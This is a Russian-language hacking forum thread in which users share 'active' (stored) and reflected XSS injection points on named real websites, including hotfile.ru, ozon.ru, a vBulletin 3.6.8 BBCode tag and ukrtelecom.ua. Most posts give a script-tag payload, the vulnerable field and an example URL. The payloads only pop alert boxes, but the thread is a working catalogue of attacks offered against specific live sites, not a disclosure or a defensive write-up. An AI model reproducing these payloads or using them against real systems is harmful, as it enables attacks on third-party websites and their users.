Активные XSS

[Isis]

В этой теме выкладываем только активные XSS

[Isis]

www.hotfile.ru
Закачиваем файл любой, в поле "Описание" суем наш зловредный код.
В данном случае

'"/><script>alert(/xss/)</script>

Получаем линк на скачивание, смотрим - активная хсс
Пример - http://www.hotfile.ru/52377/

[Klaus Doring]

https://db.raid.ru/cgi-bin/ppo/excells/%3Cscript%3Ealert(587385376)</script>

Мой второй XSS
А вот первый

  http://perm.citydom.ru/index?acuparam=>"><ScRiPt>alert(1600688950)</ScRiPt>

[Isis]

Klaus Doring, это не активные xss, а пассивные

http://paste.zloy.org/ вот активка

[Isis]

Активка в булке 3.6.8
Автор: я =)

[img*]\"'/><script>alert(/xss/)</script>[/img]

[K1nD[e]R]

http://www.abc.times.lv/
Вставляем: :

"><script>alert('xss')</script>

[it's my]

ozon.ru
В отзыве на товар, уязвимое поле Страна/город. Недостаток в том, что нужно ждать два/три дня пока отзыв отправится в паблик.
Пример: http://www.ozon.ru/context/detail/id/3819533/

<td colspan="3" align="right" class="vertpadd" 
style="padding-right:20px; color:Gray;">Мамедов&nbsp;
(<a href=/context/client_opinion/ClientGuid/9596607c-384f-4f1e-a17f-ac49e92840c4/>все отзывы</a>), 
Москва<fuck>, 21 год
        </td>

[f02]

пример:

http://www.zachetka.ru/forum/showthread.aspx?threadId=35295

хсска в логине.

[Azam]

объясните что такое хсс и как с ним работать!

[Melk]

УкрТелеком

http://ukrtelecom.ua/webparts/feedback

Все поля...